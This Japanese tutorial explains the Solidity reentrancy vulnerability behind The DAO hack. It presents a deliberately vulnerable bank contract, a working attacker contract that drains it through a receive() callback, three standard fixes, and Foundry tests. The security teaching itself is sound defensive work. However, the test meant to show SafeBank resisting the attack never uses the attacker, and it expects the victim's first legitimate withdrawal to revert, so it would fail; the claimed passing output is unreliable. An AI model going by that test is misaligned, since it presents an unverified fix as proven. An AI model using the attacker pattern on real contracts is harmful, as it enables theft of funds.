Reentrancy:The DAOから6000万ドルを失わせた脆弱性

1. 概要

Reentrancyはソリディティの最も古典的な脆弱性の1つであり、The DAOが約360万ETH(2016年当時で約6000万USD)を失った原因です。この記事ではreentrancyの本質を説明し、実際のコードで攻撃シナリオを再現し、最も一般的な3つの防止方法を示します。読み終わった後、攻撃に脆弱なコントラクト、それを悪用するコントラクト、修正済みコントラクトを自分で書くことができるようになります。Foundryテストで証明されています。

2. Reentrancyとは何か

Reentrancyは、コントラクトAが外部呼び出し(external call)でコントラクトBを呼び出し、BがAが自身のstateを更新する前にAに呼び戻す場合に発生します。Aがstateに基づいてロジックを決定する場合、Bはその隙をついて、同じアクション(例えば資金の引き出し)を何度も繰り返すことができます。

重要な点:ソリディティでは、call、send、またはデータ付きのETH転送は、受取人のfallback/receive関数をトリガーでき、それが攻撃ループが始まる場所です。

3. The DAO:何が起きたのか

The DAOは非中央集権型投資ファンドで、トークンホルダーがsplitDAO関数を通じてETHを引き出すことができました。この関数はETHを送信してから、その後で引き出し者の残高を更新します。攻撃者は、ETHを受け取った瞬間にsplitDAOに呼び戻すfallback関数を持つコントラクトを作成しました。残高がまだ差し引かれていないため、攻撃者は単一のトランザクション内で何度も資金を引き出すことができました。

結果:Ethereumコミュニティが資金を返却するために議論の余地があるハードフォークを実行する前に、360万ETHが引き出されました(Ethereum Classicが生まれました)。

4. コードで脆弱性を再現する

4.1. 攻撃に脆弱なコントラクト

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        // stateを更新する前にETHを送信 -> 脆弱性!
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
}

withdraw()はmsg.sender.call{value: amount}("")を先に呼び出し、その後でbalances[msg.sender] = 0を設定します。msg.senderがfallback関数を持つコントラクトの場合、callが実行中にwithdraw()に呼び戻すことができます。この時点で、balances[msg.sender]はまだ差し引かれていません。

4.2. 脆弱性を悪用するコントラクト

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./VulnerableBank.sol";

contract ReentrancyAttacker {
    VulnerableBank public bank;
    uint256 public constant ATTACK_AMOUNT = 1 ether;

    constructor(address bankAddress) {
        bank = VulnerableBank(bankAddress);
    }

    function attack() external payable {
        require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
        bank.deposit{value: ATTACK_AMOUNT}();
        bank.withdraw();
    }

    receive() external payable {
        if (address(bank).balance >= ATTACK_AMOUNT) {
            bank.withdraw(); // balances[this]がまだ0になっていない間に呼び戻す
        }
    }
}

実行フロー:

  1. attack()は1 ETHをVulnerableBankに預金し、次にwithdraw()を呼び出します。
  2. withdraw()は1 ETHをReentrancyAttackerに送信し、receive()をトリガーします。
  3. receive()内で、攻撃者はbanking がまだETHを持っていることに気づき、withdraw()に呼び戻します。しかしbalances[attacker]はまだ1 ether(更新行に達していないため)。
  4. ループはbanking がお金を失うか、ガスが枯渇するまで続きます。
攻撃前のBank残高:   10 ether
攻撃後のBank残高:    0 ether
攻撃者の残高:       11 ether

注意: 上記のコードは説明用です。mainnetやパブリックtestnetにデプロイしないでください—たとえ「楽しくテストする」ためであっても。

5. なぜそのコードが悪用されるのか

根本原因はChecks-Effects-Interactionsの原則に違反していることです:まずチェック(check)、次にstateを更新(effect)、最後に外部と対話(interaction)すべきです。VulnerableBankはeffectとinteractionの順序を逆にしています。ETHを送信(interaction)してから残高を差し引く(effect)のです。

さらに、call{value: amount}("")は残りのgas全部を受信者に渡します(transfer/sendは2300 gasに制限される)。そのため、攻撃者はfallback/receiveで複雑なロジックを実行するのに十分なgasを持っています。

6. 防止方法

6.1. Checks-Effects-Interactions

最も簡単で安価な方法:外部呼び出しの前にstateを更新します。

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    balances[msg.sender] = 0; // Effectが先

    (bool success, ) = msg.sender.call{value: amount}(""); // Interactionが後
    require(success, "Transfer failed");
}

攻撃者がreceive()内でwithdraw()に呼び戻すとき、balances[msg.sender]はすでに0で、require(amount > 0)はすぐにrevertされます。ループが遮断されます。

6.2. OpenZeppelinの ReentrancyGuard

より複雑なロジックがあり、明確な保護層が必要な場合は、nonReentrant修飾子を使用してください。

<!-- Hardhat/npmを使用する場合、npmでインストールしてください: -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        balances[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

nonReentrantは内部変数_statusを使用します。関数の実行中、「ロック中」状態に設定します。その間に契約内の他のnonReentrant関数への呼び戻しがある場合、トランザクションはrevertされます。

注意: nonReentrantは同じcontract内の同じ修飾子を持つ関数のみを保護します。別のcontractを呼び出し、そのcontractがnonReentrantを持たない関数に呼び戻す場合、cross-contract reentrancyを防ぎません。

6.3. Pull payment pattern

ETHを自動的に送信する代わりに、ユーザーが別の手順を通じて自分で引き出すようにし、債務累積ロジックと資金転送ロジックを完全に分離します:

contract PullPaymentBank {
    mapping(address => uint256) public pendingWithdrawals;

    function creditWithdrawal(address user, uint256 amount) internal {
        pendingWithdrawals[user] += amount;
    }

    function withdraw() external {
        uint256 amount = pendingWithdrawals[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        pendingWithdrawals[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

このアプローチはリスクを分離します。withdraw()が呼び戻されたとしても、債務記録ロジック(creditWithdrawal)は別の場所で発生し、影響を受けません。

7. 攻撃と修正を証明するテストを書く

Solidityの場合、JUnitと同等のテストツールはFoundry(forge-std)です。以下のテストはVulnerableBankが枯渇することを示し、SafeBankはそうではないことを示します。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";

contract ReentrancyTest is Test {
    VulnerableBank bank;
    SafeBank safeBank;

    address victim = address(0x1);

    function setUp() public {
        bank = new VulnerableBank();
        safeBank = new SafeBank();

        vm.deal(victim, 10 ether);
        vm.prank(victim);
        bank.deposit{value: 10 ether}();
    }

    function test_VulnerableBank_IsDrainedByReentrancy() public {
        ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
        vm.deal(address(this), 1 ether);

        attacker.attack{value: 1 ether}();

        assertEq(address(bank).balance, 0);
        assertEq(address(attacker).balance, 11 ether);
    }

    function test_SafeBank_RejectsReentrancy() public {
        vm.deal(victim, 10 ether);
        vm.prank(victim);
        safeBank.deposit{value: 10 ether}();

        // attackerをSafeBankに対して試す -> 1回以上の引き出しは期待しない
        vm.expectRevert();
        vm.prank(victim);
        safeBank.withdraw(); // すべて引き出した後の2番目の呼び出しはamount = 0のためrevertされます
    }
}

テストを実行する:

forge test -vv

期待される結果:

[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()

最初のテストはbankが0に引き出され、攻撃者が11 ETHを受け取ることを確認します。これはThe DAOシナリオと同じです。2番目のテストはSafeBank(Checks-Effects-Interactionsを適用)で、2番目の引き出しが残高が0になったためにrevertされることを確認します。

8. よくある間違い

  • callをtransfer/sendに変更するだけで、stateの順序を修正しない:transferは2300 gasに制限されているため、単純なreentrancyを防ぎます。ただし、これは万全な解決策ではありません。多くの正当なウォレット/コントラクトはETHを受け取るために2300 gasより多く必要とします(例えば、プロキシコントラクト)。これにより、正当なトランザクションが失敗します。
  • Cross-function reentrancyを忘れる:同じstate変数を読み書きする2つの異なる関数は、1つの関数のみを修正した場合に相互に悪用される可能性があります。
  • Read-only reentrancy:view関数が更新されていないstateを返し、別のコントラクトがそれを読み取り、別のトランザクション実行中に間違って使用されます。これは直接的な資金引き出しではありませんが、まだ悪い結果を引き起こします。
  • nonReentrantがシステム全体に対して十分だと信じる:複数のコントラクトが相互作用する場合、単一のコントラクトだけでなく、すべての呼び出しフローを確認する必要があります。

注意: どのパターンも「完全に安全」だと見なすべきではありません。外部呼び出しと資金に関連する関数については、常にChecks-Effects-InteractionsとnonReentrantを組み合わせてください。

9. 結論

The DAOは貴重な教訓です:一見無害な命令の順序(お金を送ってから元帳を更新する)により、Ethereum全体がハードフォークを余儀なくされました。Checks-Effects-Interactionsの原則、nonReentrant修飾子、およびpull payment patternは、この脆弱性クラスを防ぐための基本的だが強力な3つのツールです。外部呼び出しと資金転送を伴う関数を書くときは、常に自問してください。「外部を呼び出す前に、自分のstateを更新したか?」

soliditysmart-contractsecurityreentrancyblockchain